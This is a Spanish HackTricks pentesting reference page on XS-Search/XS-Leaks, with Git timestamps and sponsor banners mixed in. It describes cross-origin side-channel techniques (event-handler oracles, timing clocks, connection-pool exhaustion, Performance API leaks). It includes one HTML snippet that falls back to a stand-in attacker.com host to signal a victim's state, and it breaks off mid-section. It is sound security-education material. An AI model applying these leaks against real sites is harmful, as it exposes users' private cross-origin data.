hacktricks/pentesting-web/xs-search.md

987 lines
96 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# XS-Search/XS-Leaks
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
## **Información básica**
XS-Search es una técnica orientada a **exfiltrar información de origen cruzado** abusando de ataques de **canal lateral**.
2023-06-05 18:33:24 +00:00
Hay diferentes elementos en este tipo de ataque:
* **Web vulnerable**: Es la web desde donde queremos exfiltrar alguna información.
* **Web del atacante**: Es la web que el atacante crea y que la víctima accede, y que contiene el exploit.
* **Método de inclusión**: Es el método utilizado para cargar la web vulnerable desde la web del atacante (como window.open, iframe, fetch, etiqueta HTML con href...).
* **Técnica de filtración**: Después de acceder a la web vulnerable, se utilizará una técnica para diferenciar entre los posibles estados de la web con la información obtenida del método de inclusión utilizado.
* **Estados**: Los 2 posibles estados que puede tener la web vulnerable dependiendo de la víctima que queremos diferenciar.
* **Diferencias detectables**: Esta es la información que el atacante tiene que intentar decidir el estado de la web vulnerable.
2023-06-05 18:33:24 +00:00
### Diferencias detectables
Para distinguir entre los 2 estados de la página vulnerable, se pueden observar varias cosas:
2023-06-05 18:33:24 +00:00
* **Código de estado**. Un atacante puede distinguir **diferentes códigos de estado de respuesta HTTP** de origen cruzado (por ejemplo, errores del servidor, errores del cliente o errores de autenticación).
* **Uso de API**. Esta diferencia detectable permite a un atacante detectar el **uso de API web** en diferentes páginas, lo que le permite inferir si una página de origen cruzado está utilizando una API web JavaScript específica.
* **Redirecciones**. Es posible detectar si una aplicación web ha **redirigido al usuario a una página diferente**. Esto no se limita a las redirecciones HTTP, sino que también incluye redirecciones desencadenadas por JavaScript o HTML.
* **Contenido de la página**. Estas **diferencias detectables aparecen en el cuerpo de la respuesta HTTP** en sí o en los subrecursos incluidos por la página. Por ejemplo, esto podría ser el **número de frames incluidos** (cf. XS-Leak en Gitlab) o diferencias de tamaño de imágenes.
2023-06-05 18:33:24 +00:00
* **Encabezado HTTP**. Un atacante puede detectar la presencia de un **encabezado de respuesta HTTP específico** y puede ser capaz de recopilar su valor. Esto incluye encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
* **Tiempo**: Un atacante puede detectar que existe una diferencia de tiempo consistente entre 2 estados.
### Métodos de inclusión
* **Elementos HTML**. HTML ofrece una variedad de elementos que permiten la **inclusión de recursos de origen cruzado**. Elementos como hojas de estilo, imágenes o scripts obligan al navegador de la víctima a solicitar un recurso no HTML especificado. Hay una lista que enumera los posibles elementos HTML para este propósito disponible en línea ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
* **Frames**. Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML adicionales directamente en la página del atacante. Si la página no utiliza protección de enmarcado, el código JavaScript puede acceder al objeto window del recurso enmarcado a través de la propiedad contentWindow.
* **Ventanas emergentes**. El método **`window.open`** carga un recurso en una nueva pestaña o ventana del navegador. El método devuelve un **identificador de ventana** que el código JavaScript puede usar para acceder a métodos y propiedades que cumplen con la SOP. Estas ventanas emergentes se utilizan a menudo en inicio de sesión único. Los navegadores modernos solo permiten ventanas emergentes si son desencadenadas por ciertas interacciones del usuario. Para los ataques XS-Leak, este método es especialmente útil porque **evita las restricciones de enmarcado y cookies para un recurso objetivo**. Las versiones más recientes de los navegadores recientemente agregaron medios para aislar los identificadores de ventana.
* **Solicitudes de JavaScript**. JavaScript permite enviar solicitudes directamente a recursos objetivo. Hay dos formas diferentes para este propósito: **XMLHttpRequests** y su sucesor **Fetch** **API**. A diferencia de los métodos de inclusión anteriores, un atacante tiene un control detallado sobre la solicitud emitida, por ejemplo, si se debe seguir automáticamente una redirección HTTP.
### Técnicas de filtración
* **Manejador de eventos**. El manejador de eventos puede considerarse como la técnica clásica de filtración para XS-Leaks. Son una fuente conocida de varias piezas de información. Por ejemplo, el desencadenante de **onload** indica una carga exitosa de recursos en contraste con el evento onerror.
* **Mensajes de error**. Además de los manejadores de eventos, los mensajes de error pueden ocurrir como **excepciones de JavaScript** y **páginas de error especiales**. Los mensajes de error pueden ser lanzados en diferentes pasos, por ejemplo, directamente por la técnica de filtración. La técnica de filtración puede usar **información adicional** contenida directamente en el mensaje de error, o distinguir entre la **aparición y ausencia de un mensaje de error**.
* **Límites globales**. Cada computadora tiene sus límites físicos, al igual que un navegador. Por ejemplo, la cantidad de memoria disponible limita las pestañas en ejecución de un navegador. Lo mismo ocurre con otros límites del navegador que se aplican a todo el navegador. Si un atacante puede determinar **cuándo se alcanza el límite, esto puede usarse como una técnica de filtración**.
* **Estado global**. Los navegadores tienen **estados globales con los que todas las páginas pueden interactuar**. Si esta interacción es detectable desde el sitio web de un atacante, puede usarse como una técnica de filtración. Por ejemplo, la interfaz **History** permite la manipulación de las páginas visitadas en una pestaña o marco. Esto crea un estado global porque el **número de entradas** permite a un atacante sacar conclusiones sobre las páginas de origen cruzado.
* **API de rendimiento**. La API de rendimiento se utiliza para acceder a la **información de rendimiento de la página actual**. Sus entradas incluyen datos detallados de temporización de red para el documento y cada recurso cargado por la página. Esto permite a un atacante sacar **conclusiones sobre los recursos solicitados**. Por ejemplo, identificamos casos en los que los navegadores no crearán entradas de rendimiento para algunas solicitudes.
* **Atributos legibles**. HTML tiene varios **atributos que se pueden leer de origen cruzado**. Este acceso de lectura se puede utilizar como una técnica de filtración. Por ejemplo, el código JavaScript puede leer el número de marcos incluidos en una página web de origen cruzado con la propiedad window.frame.length.
#### **Técnicas basadas en el tiempo**
Algunas de las siguientes técnicas van a utilizar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay diferentes formas de medir el tiempo en un navegador web.
**Relojes**: La API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permite a los desarrolladores obtener mediciones de tiempo de alta resolución.\
Hay una cantidad considerable de API que los atacantes pueden abusar para crear relojes implícitos: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animaciones CSS y otros.\
Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## XSinator
XSinator es una herramienta automática para **verificar navegadores contra varias filtraciones XS conocidas** explicadas en su documento: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
Puedes acceder a la herramienta en [https://xsinator.com/](https://xsinator.com/)
{% hint style="warning" %}
**Filtraciones XS excluidas**: Tuvimos que excluir filtraciones XS que dependen de **service workers** ya que interferirían con otras filtraciones en XSinator. Además, elegimos **excluir filtraciones XS que dependen de una configuración incorrecta y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos filtraciones XS basadas en el tiempo ya que a menudo sufren de ser lentas, ruidosas e inexactas.
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Técnicas de manejador de eventos
### Onload/Onerror
* **Métodos de inclusión**: Marcos, elementos HTML
* **Diferencia detectable**: Código de estado
* **Más información**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Resumen**: si se intenta cargar un recurso, los eventos onerror/onload se desencadenan cuando el recurso se carga exitosamente/no exitosamente, lo que permite determinar el código de estado.
* **Ejemplo de código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}
El ejemplo de código intenta **cargar objetos de script desde JS**, pero también se pueden usar **otros tags** como objetos, hojas de estilo, imágenes, audios. Además, también es posible inyectar directamente la **etiqueta** y declarar los eventos `onload` y `onerror` dentro de la etiqueta (en lugar de inyectarla desde JS).
También existe una versión sin script de este ataque:
2023-06-05 18:33:24 +00:00
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
2023-06-05 18:33:24 +00:00
</object>
```
En este caso, si `example.com/404` no se encuentra, se cargará `attacker.com/?error`.
### Tiempo de carga
* **Métodos de inclusión**: Elementos HTML
* **Diferencia detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Resumen**: La API **performance.now()** se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud. Sin embargo, también se pueden utilizar otros relojes, como la API **PerformanceLongTaskTiming**, que puede identificar tareas que se ejecutan durante más de 50 ms.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) otro ejemplo en:
{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}
#### Tiempo de carga + Tarea pesada forzada
2023-06-05 18:33:24 +00:00
Esta técnica es similar a la anterior, pero el **atacante** también **forzará** alguna acción para que tome un **tiempo relevante** cuando la **respuesta sea positiva o negativa** y medirá ese tiempo.
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}
### Tiempo de descarga/cierre de ventana
2023-06-05 18:33:24 +00:00
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Resumen**: El reloj [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud. También se pueden utilizar otros relojes.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Los eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) y [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) se pueden utilizar para medir el tiempo que tarda en obtener un recurso. Esto funciona porque **`beforeunload`** se activa cuando el navegador realiza una nueva solicitud de navegación, mientras que **`unload`** se activa cuando esa navegación realmente ocurre. Debido a este comportamiento, es posible calcular la diferencia de tiempo entre estos dos eventos y medir el tiempo que tardó el navegador en completar la obtención del recurso.
### Tiempo de marco con restricciones + carga
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Resumen**: La API **performance.now()** se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud. También se pueden utilizar otros relojes.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Si una página no tiene implementadas [Protecciones de enmarcado](https://xsleaks.dev/docs/defenses/opt-in/xfo/), un atacante puede medir cuánto tiempo tarda en cargarse la página y todos los recursos secundarios a través de la red. Por defecto, el controlador `onload` de un iframe se invoca después de que se hayan cargado todos los recursos y se haya completado la ejecución de JavaScript. Sin embargo, un atacante puede eliminar el ruido de la ejecución de scripts incluyendo el atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) en el `<iframe>`. Este atributo bloquea muchas funciones, incluida la ejecución de JavaScript, lo que resulta en una medición casi pura de la red.
### #ID + error + onload
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Contenido de la página
* **Más información**:
* **Resumen**: Si puedes hacer que la página genere un error cuando se accede al contenido correcto y hacer que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
* **Ejemplo de código**:
Supongamos que puedes **insertar** la **página** que tiene el **contenido secreto** dentro de un iframe.
Puedes hacer que la víctima busque el archivo que contiene "_**flag**_" utilizando un iframe (explotando un CSRF, por ejemplo). Dentro del iframe, sabes que el evento _**onload**_ se ejecutará siempre al menos una vez. Luego, puedes **cambiar** la **URL** del iframe cambiando solo el **contenido** del **hash** dentro de la URL.
Por ejemplo:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
Si la primera URL se **cargó correctamente**, entonces, al **cambiar** la parte del **hash** de la URL, el evento **onload** no se **activará nuevamente**. Pero si la página tuvo algún tipo de **error** al **cargarse**, entonces el evento **onload** se **activará nuevamente**.
De esta manera, puedes distinguir entre una página cargada **correctamente** o una página que tiene un **error** al ser accedida.
### Ejecución de JavaScript
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Contenido de la página
* **Más información**:
* **Resumen**: Si la **página** devuelve el contenido **sensible**, o un contenido que puede ser controlado por el usuario. El usuario podría establecer un **código JS válido en el caso negativo**, y cargar cada intento dentro de etiquetas **`<script>`**, de modo que en los casos **negativos** se ejecute el **código** del atacante, y en los casos **afirmativos** no se ejecutará **nada**.
* **Ejemplo de código**:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}
### CORB - Onerror
* **Métodos de inclusión**: Elementos HTML
* **Diferencia detectable**: Código de estado y encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Resumen**: Los atacantes pueden observar cuando se aplica CORB si una respuesta devuelve un `Content-Type` protegido por CORB (y `nosniff`) con el código de estado `2xx`, lo que resulta en que CORB elimine el cuerpo y los encabezados de la respuesta. Detectar esta protección permite a un atacante **filtrar** la combinación tanto del **código de estado** (éxito vs. error) como del **`Content-Type` (protegido por CORB o no).**
* **Ejemplo de código:**
Consulte el enlace de más información para obtener más información sobre el ataque.
### onblur
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Resumen**: Filtrar datos confidenciales del atributo id o name.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página se **enfoque en el elemento** del iframe indicado, luego, si se activa una señal **`onblur`**, el elemento ID existe.\
Puedes realizar el mismo ataque con etiquetas **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
* **Métodos de inclusión**: Marcos, Ventanas emergentes
* **Diferencia detectable**: Uso de la API
* **Más información**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Resumen**: Recopilar información confidencial de un postMessage o utilizar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
* **Ejemplo de código**: `Cualquier código que escuche todos los postMessages.`
Las aplicaciones a menudo utilizan [postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para compartir información con otros orígenes. Al escuchar estos mensajes, uno podría encontrar **información confidencial** (potencialmente si no se utiliza el parámetro `targetOrigin`). Además, el hecho de recibir algún mensaje puede ser **utilizado como un oráculo** (solo recibes este tipo de mensaje si has iniciado sesión).
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Técnicas de límites globales
### WebSocket API
* **Métodos de inclusión**: Marcos, Ventanas emergentes
* **Diferencia detectable**: Uso de la API
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Resumen**: Agotar el límite de conexiones WebSocket filtra el número de conexiones WebSocket de una página de origen cruzado.
* **Ejemplo de código**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
Es posible identificar si, y cuántas, **conexiones WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones WebSocket.
Si un **origen** utiliza la **cantidad máxima de objetos de conexión WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web del atacante abre el sitio web objetivo en una ventana emergente o iframe y luego, después de que se haya cargado el sitio web objetivo, intenta crear el número máximo de conexiones WebSocket posibles. El **número de excepciones lanzadas** es el **número de conexiones WebSocket utilizadas por la ventana del sitio web objetivo**.
### Payment API
* **Métodos de inclusión**: Marcos, Ventanas emergentes
* **Diferencia detectable**: Uso de la API
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Resumen**: Detectar la solicitud de pago porque solo puede haber una activa a la vez.
* **Ejemplo de código**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Esta XS-Leak permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
Debido a que **solo puede haber una solicitud de pago activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de solicitud de pago, cualquier **intento posterior de mostrar esta API fallará** y provocará una **excepción de JavaScript**. El atacante puede aprovechar esto **intentando periódicamente mostrar la interfaz de la API de pago**. Si un intento provoca una excepción, significa que el sitio web objetivo la está utilizando. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de crearla.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
2023-06-05 18:33:24 +00:00
* **Métodos de inclusión**:
* **Diferencia detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Resumen**: Medir el tiempo de ejecución de una web abusando del bucle de eventos de JavaScript de un solo hilo.
* **Ejemplo de código**:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
El modelo de concurrencia de JavaScript se basa en un [bucle de eventos de un solo hilo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), lo que significa que **solo puede ejecutar una tarea a la vez**.\
Inferir **cuánto tiempo tarda en ejecutarse el código de un origen diferente** midiendo cuánto tiempo tarda en ejecutarse el siguiente en el grupo de eventos. El atacante sigue enviando eventos al bucle de eventos con propiedades fijas, que eventualmente se despacharán si el grupo está vacío. Otros orígenes despachan eventos al mismo grupo, y aquí es donde un **atacante infiere la diferencia de tiempo al detectar si ocurrió un retraso con una de sus tareas**.
{% hint style="warning" %}
En una medición de tiempo de ejecución, es posible **eliminar** los **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
{% endhint %}
### Bucle de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
* **Métodos de Inclusión**:
* **Diferencia Detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
2023-06-05 18:33:24 +00:00
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Resumen**: Mide el tiempo de ejecución de una web bloqueando el bucle de eventos de un hilo y cronometrando **cuánto tiempo tarda en estar disponible nuevamente el bucle de eventos**.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**:
Una de las principales ventajas de esta técnica es su capacidad para eludir el Aislamiento del Sitio, ya que un origen atacante puede influir en la ejecución de otro origen.
2023-06-05 18:33:24 +00:00
{% hint style="warning" %}
En una medición de tiempo de ejecución, es posible **eliminar** los **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
2023-06-05 18:33:24 +00:00
{% endhint %}
### Pool de Conexiones
* **Métodos de Inclusión**: Solicitudes de JavaScript
* **Diferencia Detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
2023-06-05 18:33:24 +00:00
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Resumen**: Un atacante podría bloquear todos los sockets excepto uno, cargar la página objetivo y al mismo tiempo cargar otra página, el tiempo hasta que la última página comienza a cargarse es el tiempo que la página objetivo tardó en cargarse.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**:
{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}
Los navegadores utilizan sockets para comunicarse con los servidores. Como el sistema operativo y el hardware en el que se ejecuta tienen recursos limitados, **los navegadores tienen que imponer un límite**. Para explotar la existencia de este límite, los atacantes pueden:
1. Verificar cuál es el límite del navegador, por ejemplo, 256 sockets globales.
2. Bloquear 255 sockets durante un largo período de tiempo realizando 255 solicitudes a diferentes hosts que simplemente cuelgan la conexión.
3. Utilizar el socket 256 realizando una solicitud a la página objetivo.
4. Realizar una solicitud 257 a otro host. Dado que todos los sockets están siendo utilizados (en los pasos 2 y 3), esta solicitud debe esperar hasta que el pool reciba un socket disponible. Este período de espera proporciona al atacante el tiempo de sincronización de red del socket 256, que pertenece a la página objetivo. Esto funciona porque los 255 sockets en el paso 2 todavía están bloqueados, por lo que si el pool recibió un socket disponible, fue causado por la liberación del socket en el paso 3. El tiempo de liberación del socket 256 está directamente relacionado con el tiempo que tarda en completarse la solicitud.
2023-06-05 18:33:24 +00:00
Para obtener más información: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Pool de Conexiones por Destino
* **Métodos de Inclusión**: Solicitudes de JavaScript
* **Diferencia Detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
2023-06-05 18:33:24 +00:00
* **Más información**:
* **Resumen**: Es como la técnica anterior, pero en lugar de utilizar todos los sockets, Google **Chrome** establece un límite de **6 solicitudes simultáneas al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una sexta** solicitud, podemos **cronometrarla** y si logramos hacer que la página **víctima envíe** más **solicitudes** al mismo punto final para detectar un **estado** de la **página**, la **sexta solicitud** tardará **más tiempo** y podremos detectarlo.
2023-06-05 18:33:24 +00:00
##
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Técnicas de la API de Rendimiento
La [`API de Rendimiento`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) proporciona acceso a información relacionada con el rendimiento mejorada por los datos de la [`API de Tiempo de Recursos`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API), que proporciona los tiempos de las solicitudes de red, como la duración, pero cuando el servidor envía una cabecera `Timing-Allow-Origin: *`, también se proporciona el tamaño de transferencia y el tiempo de búsqueda de dominio.\
Estos datos se pueden acceder utilizando [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName). También se puede utilizar para obtener el tiempo de ejecución utilizando la diferencia de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now), sin embargo, esto parece ser menos preciso para una solicitud de Chrome porque solo proporciona los milisegundos.
Esta API se puede utilizar para medir el tiempo de una solicitud o para detectar el uso de X-Frame-Options, ya que la página bloqueada no se agregará al objeto `performance` en Chrome.
### Fuga de Errores
* **Métodos de Inclusión**: Marcos, Elementos HTML
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen**: Una solicitud que produce errores no creará una entrada de tiempo de recurso.
* **Ejemplo de código**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Es posible **diferenciar entre los códigos de estado de respuesta HTTP** porque las solicitudes que conducen a un **error** no crean una entrada de rendimiento.
### Error de Recarga de Estilo
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen**: Debido a un error del navegador, las solicitudes que producen errores se cargan dos veces.
* **Ejemplo de código**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
En la técnica anterior también se identificaron dos casos en los que los errores en la recolección de basura del navegador provocan que los recursos se carguen dos veces cuando no se pueden cargar. Esto resultará en múltiples entradas en la API de Rendimiento y, por lo tanto, se pueden detectar.
### Error de Fusión de Solicitudes
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen:** Las solicitudes que resultan en un error no se pueden fusionar.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
La técnica se encontró en una tabla en el documento mencionado, pero no se encontró una descripción de la técnica en él. Sin embargo, puedes encontrar el código fuente que lo verifica en [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Fuga de Página Vacía
* **Métodos de Inclusión**: Marcos
